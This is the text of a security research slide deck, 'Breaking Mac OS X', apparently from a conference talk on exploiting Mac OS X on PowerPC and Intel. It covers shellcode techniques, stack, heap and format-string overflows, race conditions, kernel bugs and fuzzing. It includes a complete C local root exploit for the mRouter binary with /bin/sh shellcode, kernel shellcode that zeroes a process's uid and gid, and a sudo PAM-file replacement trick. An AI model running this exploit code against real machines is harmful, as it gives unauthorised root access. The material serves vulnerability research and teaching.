<<  Hollywood Film studios Nuclear Fusion Benjamin Harack  >>
Breaking Mac OS X
Breaking Mac OS X
Introduction
Introduction
What is Mac OS X
What is Mac OS X
Tools
Tools
Shellcode Tips
Shellcode Tips
PPC Assembly
PPC Assembly
Shellcode Tips  P.I.C
Shellcode Tips P.I.C
Shellcode Tips  NULL bytes
Shellcode Tips NULL bytes
Shellcode Tips  NULL bytes
Shellcode Tips NULL bytes
Shellcode Tips  NULL bytes
Shellcode Tips NULL bytes
Shellcode Tips - alignment
Shellcode Tips - alignment
Intel (x86) Architecture
Intel (x86) Architecture
Mac OSX Intel - Syscall calling convention
Mac OSX Intel - Syscall calling convention
Shellcode Tips  fork()
Shellcode Tips fork()
Architecture Spanning Shellcode
Architecture Spanning Shellcode
Architecture Spanning Shellcode  NOP Sled
Architecture Spanning Shellcode NOP Sled
Architecture Spanning Shellcode  PPC / x86
Architecture Spanning Shellcode PPC / x86
Architecture Spanning Shellcode
Architecture Spanning Shellcode
Architecture Spanning Exploitation
Architecture Spanning Exploitation
Mach-o format
Mach-o format
Auditing Mac OS X
Auditing Mac OS X
Code Auditing
Code Auditing
Reverse Engineering
Reverse Engineering
Debugging Tricks
Debugging Tricks
Shared Library Redirection
Shared Library Redirection
Buffer Overflow (stack)
Buffer Overflow (stack)
Buffer Overflow (Stack Layout)
Buffer Overflow (Stack Layout)
Buffer Overflow (return address calculation)
Buffer Overflow (return address calculation)
Buffer Overflow (fm-iSink
Buffer Overflow (fm-iSink
Format string bugs  (intro)
Format string bugs (intro)
Format string bugs  (_cleanup)
Format string bugs (_cleanup)
Format string bugs  (PIC stub)
Format string bugs (PIC stub)
Heap Overflow - malloc() Overview
Heap Overflow - malloc() Overview
Heap Overflow  szone_t
Heap Overflow szone_t
Heap Overflow - continued
Heap Overflow - continued
Heap Overflow  Bugs
Heap Overflow Bugs
Race Conditions
Race Conditions
Exploiting Race Conditions
Exploiting Race Conditions
The 80s Called, they want their bugs back
The 80s Called, they want their bugs back
dyld bug
dyld bug
Return to libSystem
Return to libSystem
Return to libSystem
Return to libSystem
What is Darwin
What is Darwin
What is xnu
What is xnu
Why kernel vulnerabilities
Why kernel vulnerabilities
Information leaks
Information leaks
Example
Example
Kernel Buffer Overflows
Kernel Buffer Overflows
Stack based buffer overflows in the darwin kernel
Stack based buffer overflows in the darwin kernel
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: kernel shellcode
Stack based buffer overflows in the darwin kernel: Returning
Stack based buffer overflows in the darwin kernel: Returning
Finding the shellcode
Finding the shellcode
Stack based buffer overflows in the darwin kernel: The vulnerability
Stack based buffer overflows in the darwin kernel: The vulnerability
Stack based buffer overflows in the darwin kernel: copyin problem
Stack based buffer overflows in the darwin kernel: copyin problem
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
Kernel bugs allowing userland compromise
PANIC!
PANIC!
int fpathconf(p, uap, retval) struct proc *p; register struct
int fpathconf(p, uap, retval) struct proc *p; register struct
What is fuzzing
What is fuzzing
Syscall argument fuzzing
Syscall argument fuzzing
More detailed argument fuzzing
More detailed argument fuzzing
Binary file fuzzing
Binary file fuzzing
MYTHBUSTERS
MYTHBUSTERS
References
References
References
References

: Breaking Mac OS X. : Jay. : Breaking Mac OS X.ppt. zip-: 702 .

Breaking Mac OS X

Breaking Mac OS X.ppt
1 Breaking Mac OS X

Breaking Mac OS X

By Neil Archibald and Ilja van Sprundel

2 Introduction

Introduction

Who am I? Neil Archibald, Senior Security Researcher @ Suresec Ltd Interested in Mac OSX sys-internals and research for roughly two years.

Ilja van Sprundel Works for Suresec Working with unix for a few years. Breaks stuff for fun and profit :) Intrigued by operating system internals.

3 What is Mac OS X

What is Mac OS X

A modern Operating system A graphical user interface Lots of userland applications Runs on ppc architecture. (will run on intel). Mac OS X has grown significantly in market share.

OSXserver:/tmp ilja$ uname -a Darwin OSXserver 7.0.0 Darwin Kernel Version 7.0.0: Wed Sep 24 15:48:39 PDT 2003; root:xnu/xnu-517.obj~1/RELEASE_PPC Power Macintosh powerpc

4 Tools

Tools

gdb Gnu Debugger, otool objdump and ldd replacement. class-dump Dump objective c class info IDA Pro the best disassembler around HTE useful for manipulating object files.

5 Shellcode Tips

Shellcode Tips

Some of the hurdles which a shellcoder must typically overcome are: Code must be position independent. Typically filters exist on the bytes which are allowed to be used in the shellcode. (usually a NULL byte is disallowed) In threaded applications code must fork() to remain stable.

6 PPC Assembly

PPC Assembly

32 bit instructions. Makes it easy to count offsets for relative jumps. Makes for large shellcode. Endian: little or big endian, typically big. System calls return to the instruction directly below the sc instruction on failure, or one instruction past that for success. PPCExplain++

7 Shellcode Tips  P.I.C

Shellcode Tips P.I.C

x86 jmp call pop replacements. Example 1: Example 2:

bcl 20,31,i_want_this i_want_this: mflr r3

_main: xor. r5,r5,r5 bnel _main mflr r30

8 Shellcode Tips  NULL bytes

Shellcode Tips NULL bytes

sc instruction = 0x44000002 Reserved bits shown. It can be replaced with: 0x44ffff02

9 Shellcode Tips  NULL bytes

Shellcode Tips NULL bytes

nop instruction is recommended as: ori 0,0,0 = 0x60000000 Can be replaced with: ori r0,r3,24672 = 0x60606060

10 Shellcode Tips  NULL bytes

Shellcode Tips NULL bytes

li instruction is really addi with 0 as rA. If the number required in a register is too small a null byte will occur. We can add a number to our value to make it large enough to avoid null bytes. We then subtract the same value to leave our required number.

11 Shellcode Tips - alignment

Shellcode Tips - alignment

Since each instruction is 4 bytes, shellcode must be correctly word aligned in memory.

12 Intel (x86) Architecture

Intel (x86) Architecture

Hopefully you are familiar with x86 architecture! Shellcode is pretty much the same as FreeBSD. In fact, most FreeBSD shellcode will work pretty much the same on osx86 as FreeBSD without modification.

13 Mac OSX Intel - Syscall calling convention

Mac OSX Intel - Syscall calling convention

The int $0x80 instruction can be used to enter kernel mode to execute a syscall. Also the lcall instruction can be used. gcc generally uses lcall. Syscall number in eax. Arguments are passed on the stack in reverse order. An extra dummy byte must be pushed to the stack. This is because typically a code stub is used such as:

call kernel: int $0x80 ret

14 Shellcode Tips  fork()

Shellcode Tips fork()

HD Moore release a paper on Mac OS X shellcode. The execve() function returns EOPNOTSUPP if a process has more than one active thread. To counter this reliable shellcode on Mac OS X must fork() before calling execve().

15 Architecture Spanning Shellcode

Architecture Spanning Shellcode

Shellcode which will run on more than one architecture. Applies to Mac OS X, now that the move to Intel is in process. Phrack article on this subject: http://www.phrack.org/phrack/57/p57-0x0e

16 Architecture Spanning Shellcode  NOP Sled

Architecture Spanning Shellcode NOP Sled

CLD Instruction (Clear Direction Flag). Only modifies the direction flag, no memory access. Has the op code 0xfc on x86 architecture. The fnmsub instruction (floating negative multiply-subtract) on ppc architecture does the following: frD,frA,frC,frB = -((frA*frC)-frB) -> frD Therefore also performs no memory access or changes to significant registers. It has the opcode fnmsub f7,f28,f19,f31 == 0xfcfcfcfc This means 0xfcfcfcfc will work as a multi-arch NOP instruction between ppc and x86.

17 Architecture Spanning Shellcode  PPC / x86

Architecture Spanning Shellcode PPC / x86

Trick: find an instruction on ppc which will do nothing, but end in a jump instruction on x86. Magic Instruction: 0x5f90eb48 X86: 5f == pop %edi 90 == nop eb 48 == jmp $0x48 (bytes) PPC: 5f 90 eb 48 == rlwnm r16,r28,r29,13,4

18 Architecture Spanning Shellcode

Architecture Spanning Shellcode

5f 90 eb 48

When execution hits this instruction on an x86 processor, it will jump 0x48 bytes forward over the ppc shellcode. If a ppc processor interprets this instruction is will run directly into the ppc code.

PPC SHELLCODE

X86 SHELLCODE

0x48 Bytes

19 Architecture Spanning Exploitation

Architecture Spanning Exploitation

Gaining control of execution in a platform inspecific way. The initial heap zone struct (szone_t) is located at the same address on both x86 and ppc platforms. (gdb) x/x &initial_malloc_zones 0xa0010414 <initial_malloc_zones>: 0x01800000 This struct, mentioned earlier, contains function pointers used by the heap. (malloc/free/etc/) If we can control a write on both platforms we can use this address to gain control of execution and land in our multi-arch nop sled.

20 Mach-o format

Mach-o format

- Overview - Header files to read. /usr/include/mach-o/* - Manipulating with HTE Slides available from SySCAN05 in references.

21 Auditing Mac OS X

Auditing Mac OS X

Open Source Darwin Components Closed source applications (Most of the GUI).

22 Code Auditing

Code Auditing

Open source code for the Darwin component is available from: http://developer.apple.com/darwin/ greping for APPLE or XXX can be useful to find the changes Apple have made.

23 Reverse Engineering

Reverse Engineering

IDA Advanced for PPC/mach-o class-dump for Objective-C binaries. (OBJ segment). Phrack (61) paper on reverse engineering on Mac OSX using gnu debugger (gdb).

24 Debugging Tricks

Debugging Tricks

- Hidden Functions (GDBComponentList || CFShow). http://developer.apple.com/technotes/tn2004/tn2124.html#LISTCALLFUNC MacsBug Environment variables (MallocStackLogging. Etc) Antidebug - beating ptrace() protection.

25 Shared Library Redirection

Shared Library Redirection

DYLD_FRAMEWORK_PATH Colon separated list of directories that contain frameworks. DYLD_LIBRARY_PATH Colon deliminated list of directories containing shared libraries. DYLD_INSERT_LIBRARY Insert a single .so into the process space. (Requires DYLD_FORCE_FLAT_NAMESPACE)

26 Buffer Overflow (stack)

Buffer Overflow (stack)

Hopefully everyone is familiar with the concept of a stack based buffer overflow on x86 architecture. LR (Link Register) Used for storage of return address. blr instruction (branch to link register) is the equivalent to the x86 ret instruction.

BUFFER

EBP

EIP

OVERFLOW

27 Buffer Overflow (Stack Layout)

Buffer Overflow (Stack Layout)

Stack grows down towards lower memory addresses. When two function calls deep, LR must be stored somewhere (stack). Possible to overwrite stored LR to gain control.

28 Buffer Overflow (return address calculation)

Buffer Overflow (return address calculation)

A similar technique to that shown in phrack (Smashing the stack for fun and profit): Also the address can be calculated exactly when stored in an environment variable:

int sp (void) { __asm__("mr r0, r1"); }

unsigned int ret = 0xbffffffa - strlen(shellcode); char *args[] = { VULNPROG, "-v", "-a", filler, NULL }; char *env[] = {"TERM=xterm", shellcode, NULL };

29 Buffer Overflow (fm-iSink

Buffer Overflow (fm-iSink

c)

#define VULNPROG "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/mRouter" #define MAXBUFSIZE 4096 char shellcode[] = // Shellcode by b-r00t, modified by nemo. "\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02" "\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60" "\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" "\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78" "\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68"; char filler[MAXBUFSIZE]; int main(int ac, char **av) { unsigned int ret = 0xbffffffa - strlen(shellcode); char *args[] = { VULNPROG, "-v", "-a", filler, NULL }; char *env[] = { "TERM=xterm", shellcode, NULL }; memset(filler,(char)'A',sizeof(filler)); memcpy(filler+MAXBUFSIZE-5,&ret,4); execve(*args, args,env); return 0; }

30 Format string bugs  (intro)

Format string bugs (intro)

Introduction (misuse of a function with variable arguments). Mac OS X is big endian. Writes are made in the opposite direction to x86. Exploiting a format string typically gives you a write anything anywhere primitive.

printf(buffer);

31 Format string bugs  (_cleanup)

Format string bugs (_cleanup)

ormat string bugs (__cleanup)

/* * Exit, flushing stdio buffers if necessary. */ void exit(status) int status; { struct atexit *p; int n; /* Ensure that the auto-initialization routine is linked in: */ extern int _thread_autoinit_dummy_decl; _thread_autoinit_dummy_decl = 1; for (p = __atexit; p; p = p->next) for (n = p->ind; --n >= 0;) (*p->fns[n])(); if (__cleanup) (*__cleanup)(); _exit(status); }

32 Format string bugs  (PIC stub)

Format string bugs (PIC stub)

PIC stubs generated: Table of function pointers filled in by the dyld. We can overwrite these function pointers to gain control of execution, Note: Address of these function pointers contain null bytes, which makes writing to them more difficult.

(gdb) x/8i 0x2d40 0x2d40 <dyld_stub_exit>: mflr r0 0x2d44 <dyld_stub_exit+4>: bcl- 20,4*cr7+so,0x2d48 <dyld_stub_exit+8> 0x2d48 <dyld_stub_exit+8>: mflr r11 0x2d4c <dyld_stub_exit+12>: addis r11,r11,0 0x2d50 <dyld_stub_exit+16>: mtlr r0 0x2d54 <dyld_stub_exit+20>: lwzu r12,840(r11) 0x2d58 <dyld_stub_exit+24>: mtctr r12 0x2d5c <dyld_stub_exit+28>: bctr

33 Heap Overflow - malloc() Overview

Heap Overflow - malloc() Overview

Made up of multiple zones. Most software only uses the default zone. Different sized allocations come from different regions or bins. Zone meta-data stored just after the large memory block bin. When large memory is allocated vm_allocate() is used. This eventually reaches the zone meta-data.

34 Heap Overflow  szone_t

Heap Overflow szone_t

typedef struct _malloc_zone_t { /* Only zone implementors should depend on the layout of this structure; Regular callers should use the access functions below */ void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */ void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */ size_t (*size)(struct _malloc_zone_t *zone, const void *ptr); void *(*malloc)(struct _malloc_zone_t *zone, size_t size); void *(*calloc)(struct _malloc_zone_t *zone, size_t num_items, size_t size); void *(*valloc)(struct _malloc_zone_t *zone, size_t size); void (*free)(struct _malloc_zone_t *zone, void *ptr); void *(*realloc)(struct _malloc_zone_t *zone, void *ptr, size_t size); void (*destroy)(struct _malloc_zone_t *zone); const char *zone_name; /* Optional batch callbacks; these may be NULL */ unsigned (*batch_malloc)(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); void (*batch_free)(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); struct malloc_introspection_t *introspect; unsigned version; } malloc_zone_t;

35 Heap Overflow - continued

Heap Overflow - continued

The szone_t struct stored after the large memory block bin contains function pointers for each of the zones allocation and deallocation functions. If we can overwrite this struct, the next call to any of the heap functions will result in control of execution.

36 Heap Overflow  Bugs

Heap Overflow Bugs

The WebKit library used by Safari and Mail.app is prone to bugs which can be exploited in this manner. Because of the fact that web pages can be provided by the attacker, calls to malloc() can be orchestrated to cleave the way to the zone struct. For full details on this technique read: http://www.phrack.org/phrack/63/p63-0x05_OSX_Heap_Exploitation_Technqiues.txt

37 Race Conditions

Race Conditions

File races are common on Mac OSX Exploited in the same way as other Unix platforms. Apple implemented a super stat() function. Without creating an equivalent to operate on an open file handle.

DESCRIPTION The getattrlist() function returns attributes (that is, metadata) of file system objects. You can think of getattrlist() as a seriously enhanced version of stat(2). The function returns attributes about the file sys- tem object specified by path in the buffer specified by attrBuf and attrBufSize. The attrList parameter determines what attributes are returned. The options parameter lets you control specific aspects of the function's behaviour.

38 Exploiting Race Conditions

Exploiting Race Conditions

Example launchd bug, any file is chown()ed to the user id of the invoking user. To exploit this, we replaced /etc/pam.d/sudo with our own copy, requiring no authentication. Then used sudo to gain uid=0.

39 The 80s Called, they want their bugs back

The 80s Called, they want their bugs back

!!!

Low hanging fruit! dsidentity bug, getenv(USER);?? malloc() bug, MALLOC_LOG_FILE environment variable.

char *envStr = nil; envStr = getenv("USER"); //check for member of admin group if ( (envStr != nil) && UserIsMemberOfGroup( inDSRef, inDSNodeRef, envStr, "admin" ) ) { return true; }

40 dyld bug

dyld bug

static const char* sFrameworkFallbackPaths[] = { "$HOME/Library/Frameworks", "/Library/Frameworks" , "/Network/Library/Frameworks", "/System/Library/Frameworks", NULL }; static const char* sLibraryFallbackPaths[] = { "$HOME/lib", "/usr/local/lib", "/usr/lib", NULL }; ... // default value for DYLD_FALLBACK_FRAMEWORK_PATH, if not set in environment if ( sEnv.DYLD_FALLBACK_FRAMEWORK_PATH == NULL ) { const char** paths = sFrameworkFallbackPaths; if ( home != NULL ) { if ( riskyUser() ) removePathWithPrefix(paths, "$HOME"); else paths_expand_roots(paths, "$HOME", home); } sEnv.DYLD_FALLBACK_FRAMEWORK_PATH = paths; } // default value for DYLD_FALLBACK_LIBRARY_PATH, if not set in environment if ( sEnv.DYLD_FALLBACK_LIBRARY_PATH == NULL ) { const char** paths = sLibraryFallbackPaths; if ( home != NULL ) { if ( riskyUser() ) removePathWithPrefix(paths, "$HOME"); else paths_expand_roots(paths, "$HOME", home); } sEnv.DYLD_FALLBACK_LIBRARY_PATH = paths; }

41 Return to libSystem

Return to libSystem

Most people run softwareupdate` regularly, therefore most people are running the exact same binaries. This makes returning into the binary itself reliable. Calling convention: Function arguments are passed in the general purpose registers, starting with r3. otool tv <filename> can be used to dump an assembly listing of a binary. To find instructions which are needed.

42 Return to libSystem

Return to libSystem

The lmw instruction is most useful, however it is very rare to find this instruction in a binary, starting loading from the r3, register. An example of some instructions which we could use are: getusershell() will store the shell of the current user in r3.

// [/usr/lib/libSystem.B.dylib] //9001b88c lwz r3,0x38(r1) //9001b890 addi r1,r1,0x60 //9001b894 lwz r0,0x8(r1) //9001b898 lmw r29,0xfff4(r1) //9001b89c mtspr lr,r0 //9001b8a0 blr

43 What is Darwin

What is Darwin

A part of Mac OS X An operating system on itself Unix based Userland applications and a kernel Runs on ppc and i386

44 What is xnu

What is xnu

The unix kernel that darwin and Mac OS X use A mix of 4.4(Free)BSD and 3.0 Mach

45 Why kernel vulnerabilities

Why kernel vulnerabilities

They are fun to play with Hard to strip down a kernel, unlike userland applications.

46 Information leaks

Information leaks

A bug in the kernel allowing disclosure of kernel data. Has the potential to contain sensitive information. Usually easily triggered and exploited.

47 Example

Example

ifr.ifr_name doesnt get initialized. strcpy() leaves part of ifr_name uninitialized. Data is copyout()d to userspace.

static int ifconf(u_long cmd, user_addr_t ifrp, int * ret_space) { struct ifaddr *ifa; struct ifreq ifr; ... space = *ret_space; for (ifp = ifnet_head.tqh_first; space > sizeof(ifr) && ifp; ifp = ifp->if_link.tqe_next) { char workbuf[64]; size_t ifnlen, addrs; ifnlen = snprintf(workbuf, sizeof(workbuf), "%s%d", ifp->if_name, ifp->if_unit); ... strcpy(ifr.ifr_name, workbuf); ... ifa = ifp->if_addrhead.tqh_first; for ( ; space > sizeof (ifr) && ifa; ifa = ifa->ifa_link.tqe_next) { struct sockaddr *sa = ifa->ifa_addr; addrs++; if (sa->sa_len <= sizeof(*sa)) { ifr.ifr_addr = *sa; error = copyout((caddr_t)&ifr, ifrp, sizeof(ifr)); ifrp += sizeof(struct ifreq); } else { ... } ... }

48 Kernel Buffer Overflows

Kernel Buffer Overflows

Known for a VERY long time! They do exist in the kernel as well. They are exploitable in a similar fashion to userland.

49 Stack based buffer overflows in the darwin kernel

Stack based buffer overflows in the darwin kernel

There are a few The same rules apply (mentioned earlier) A few differences when comparing to exploiting them in userland. The goal is the same, get a shell with elevated privileges.

50 Stack based buffer overflows in the darwin kernel: kernel shellcode

Stack based buffer overflows in the darwin kernel: kernel shellcode

Unlike userland shellcode, we cannot just call execve(). We can change the user id and group id of a process. Each process has its own process structure somewhere in memory. Among other things it stored the userid and groupid. All our shellcode has to do is find this struct and modify the uid and gid.

51 Stack based buffer overflows in the darwin kernel: kernel shellcode

Stack based buffer overflows in the darwin kernel: kernel shellcode

(2)

Finding the process structure of a process is easier than you would think. This can be done with the sysctl() call before you exploit anything.

long get_addr(pid_t pid) { int i, sz = sizeof(struct kinfo_proc), mib[4]; struct kinfo_proc p; mib[0] = 1; mib[1] = 14; mib[2] = 1; mib[3] = pid; i = sysctl(&mib, 4, &p, &sz, 0, 0); if (i == -1) { perror("sysctl()"); exit(0); } return(p.kp_eproc.e_paddr); }

52 Stack based buffer overflows in the darwin kernel: kernel shellcode

Stack based buffer overflows in the darwin kernel: kernel shellcode

(3)

Address of the proc structure is known. Find the right fields and set them to 0.

struct pcred { struct lock__bsd__ pc_lock; struct ucred *pc_ucred; uid_t p_ruid; uid_t p_svuid; gid_t p_rgid; gid_t p_svgid; int p_refcnt; };

struct proc { LIST_ENTRY(proc) p_list; /* substructures: */ struct pcred *p_cred; .... }

53 Stack based buffer overflows in the darwin kernel: kernel shellcode

Stack based buffer overflows in the darwin kernel: kernel shellcode

(4)

Basic darwin kernel shellcode:

Address obtained with sysctl

Int kshellcode[] = { 0x3ca0aabb, // lis r5, 0xaabb 0x60a5ccdd, // ori r5, r5, 0xccdd 0x80c5ffa8, // lwz r6, -88(r5) 0x80e60048, // lwz r7, 72(r6) 0x39000000, // li r8, 0 0x9106004c, // stw r8, 76(r6) 0x91060050, // stw r8, 80(r6) 0x91060054, // stw r8, 84(r6) 0x91060058, // stw r8, 88(r6) 0x91070004 // stw r8, 4(r7) }

54 Stack based buffer overflows in the darwin kernel: Returning

Stack based buffer overflows in the darwin kernel: Returning

In most userland applications there is usually no need to return. When just doing absolutely nothing in kernel space a panic will happen. There are two solutions: Calculate where to return and restore all that we broke. Call IOSleep()and schedule in a loop. We chose the second one ;-)

55 Finding the shellcode

Finding the shellcode

Since were in the kernel we cant screw up! This makes vulnerabilities one-shot. We need to know the EXACT address of our shellcode Use specific kernel functions to get predictable addresses. Use information leaks!

56 Stack based buffer overflows in the darwin kernel: The vulnerability

Stack based buffer overflows in the darwin kernel: The vulnerability

There is a length check done on nsops. Nsops is signed however there is no check to see if its negative. Copyin() copies data from userland to kernel space. First argument is a userland address. Second argument is a kernel address. Third argument is the size. The size used will be interpreted as unsigned. When negative values are cast to unsigned they are HUGE!!! Hence a buffer overflow can take place.

struct semop_args { int semid; struct sembuf *sops; int nsops; }; int semop(p, uap, retval) struct proc *p; register struct semop_args *uap; register_t *retval; { int semid = uap->semid; int nsops = uap->nsops; struct sembuf sops[MAX_SOPS]; ... if (nsops > MAX_SOPS) { UNLOCK_AND_RETURN(E2BIG); } if ((eval = copyin(uap->sops, &sops, nsops * sizeof(sops[0]))) != 0) { UNLOCK_AND_RETURN(eval); } ... }

57 Stack based buffer overflows in the darwin kernel: copyin problem

Stack based buffer overflows in the darwin kernel: copyin problem

Problem, were copying WAY too much and stack space will run out eventually. Copyin() however does several tests on the userland address. One of them is to stop copying the moment data can no longer be read from it. This can be used to our advantage. Well copy the amount of data needed and then have an unreadable page, right after it!

58 Kernel bugs allowing userland compromise

Kernel bugs allowing userland compromise

Not all bugs in the kernel are exploited only in the kernel. Some require userland interaction. Examples: a few ptrace() exploits. FD 0,1,2 closing bugs,

59 Kernel bugs allowing userland compromise

Kernel bugs allowing userland compromise

setrlimit()

extern int maxfiles; extern int maxfilesperproc; typedef int64_t rlim_t; struct rlimit { rlim_t rlim_cur; /* current (soft) limit */ rlim_t rlim_max; /* maximum value for rlim_cur */ };

60 Kernel bugs allowing userland compromise

Kernel bugs allowing userland compromise

setrlimit() (2)

case RLIMIT_NOFILE: /* * Only root can set the maxfiles limits, as it is systemwide resource */ if ( is_suser() ) { if (limp->rlim_cur > maxfiles) limp->rlim_cur = maxfiles; if (limp->rlim_max > maxfiles) limp->rlim_max = maxfiles; } else { if (limp->rlim_cur > maxfilesperproc) limp->rlim_cur = maxfilesperproc; if (limp->rlim_max > maxfilesperproc) limp->rlim_max = maxfilesperproc; } break; ... } }

int dosetrlimit(p, which, limp) struct proc *p; u_int which; struct rlimit *limp; { register struct rlimit *alimp; ... alimp = &p->p_rlimit[which]; if (limp->rlim_cur > alimp->rlim_max || limp->rlim_max > alimp->rlim_max) if (error = suser(p->p_ucred, &p->p_acflag)) return (error); ... switch (which) { ...

61 Kernel bugs allowing userland compromise

Kernel bugs allowing userland compromise

setrlimit() (3)

All values used are signed Negative rlimits can be used Will pass all super user checks When comparisons are done in other pieces of code out there is always unsigned cast. We can open a lot more files then initially intended (there is still a system limit that will be enforced !) A denial of service using dup2() is possible Getdtablesize() will return a negative value.

62 Kernel bugs allowing userland compromise

Kernel bugs allowing userland compromise

setrlimit() (4)

Getdtablesize() returns the maximum amount of file descriptors that a process can have open. A lot of programs use this in a for() loop to close all open file descriptors before spawning another process. One of these is pppd which is suid root and opens a lot of interesting files. File descriptors and rlimits get inherited through execve().

int getdtablesize(p, uap, retval) struct proc *p; void *uap; register_t *retval; { *retval = min((int)p->p_rlimit[RLIMIT_NOFILE].rlim_cur, maxfiles); return (0); }

63 PANIC!

PANIC!

Calling the panic() function will halt the system. Usually used when the system is in an unrecoverable inconsistent state. If you can indirectly call this function from userland its a security bug. Only resulting in a Denial of Service, but a very effective DoS.

64 int fpathconf(p, uap, retval) struct proc *p; register struct

int fpathconf(p, uap, retval) struct proc *p; register struct

fpathconf_args *uap; register_t *retval; { int fd = uap->fd; struct fileproc *fp; struct vnode *vp; struct vfs_context context; int error = 0; short type; caddr_t data; if ( (error = fp_lookup(p, fd, &fp, 0)) ) return(error); type = fp->f_type; data = fp->f_data; switch (type) { ... default: panic("fpathconf (unrecognized - %d)", type); } /*NOTREACHED*/ ... }

65 What is fuzzing

What is fuzzing

Using semi-valid data: good enough to pass initial checks, bad enough so things might go wrong. Can be used in a lot of things Well only discuss fuzzing related to the xnu kernel. What can you fuzz: Syscall arguments Binary files the kernel has to process

66 Syscall argument fuzzing

Syscall argument fuzzing

Generate a random syscall number OSX also has some negative syscall numbers. All syscalls have at most 8 arguments (special case: one mach syscall has 9 arguments) Generate 8 random arguments random: Some random number A valid userland address Get some (random) data on it Address of an unmapped page

67 More detailed argument fuzzing

More detailed argument fuzzing

The previous method is trivial and not detailed at all, bug can be implemented in a matter of minutes. You can do more detailed syscall fuzzing Examples socket() fuzzing Once the socket is made then all sorts of socket operations are made on it. Setsockopt Getsockopt Bind

68 Binary file fuzzing

Binary file fuzzing

Unintelligent file fuzzing Take a valid file Randomly modify some bytes VERY EASY SHOCKING RESULTS Intelligent fuzzing Can take a while to make something decent Need to know the specifics of the kind of file parsing that youre going to fuzz. What can you fuzz with it: Mach-o runtime .dmg image file loading You should check out Michael Sutton and Adam Greenes slides from blackhat.

69 MYTHBUSTERS

MYTHBUSTERS

OSX is super secure because is has no root user! To gain root on an OSX machine the user needs to enter his/her password! OSX has a magical protective barrier which makes it impossible to be infected by a virus! No Mac OSX box has ever been hacked!

70 References

References

http://en.wikipedia.org/wiki/PowerPC http://felinemenace.org/~nemo/ppcasm/ http://uninformed.org/?v=1&a=1&t=pdf http://developer.apple.com/darwin/

71 References

References

http://felinemenace.org/~nemo/slides/mach-o_infection.ppt http://www.phrack.org/phrack/63/p63-0x10_PowerPC_Cracking_on_OSX_with_GDB.txt http://developer.apple.com/technotes/tn2004/tn2124.html#LISTCALLFUNC http://www.phrack.org/phrack/63/p63-0x05_OSX_Heap_Exploitation_Technqiues.txt

Breaking Mac OS X
http://900igr.net/prezentacija/muzyka/breaking-mac-os-x-243190.html
c

27
900igr.net > > > Breaking Mac OS X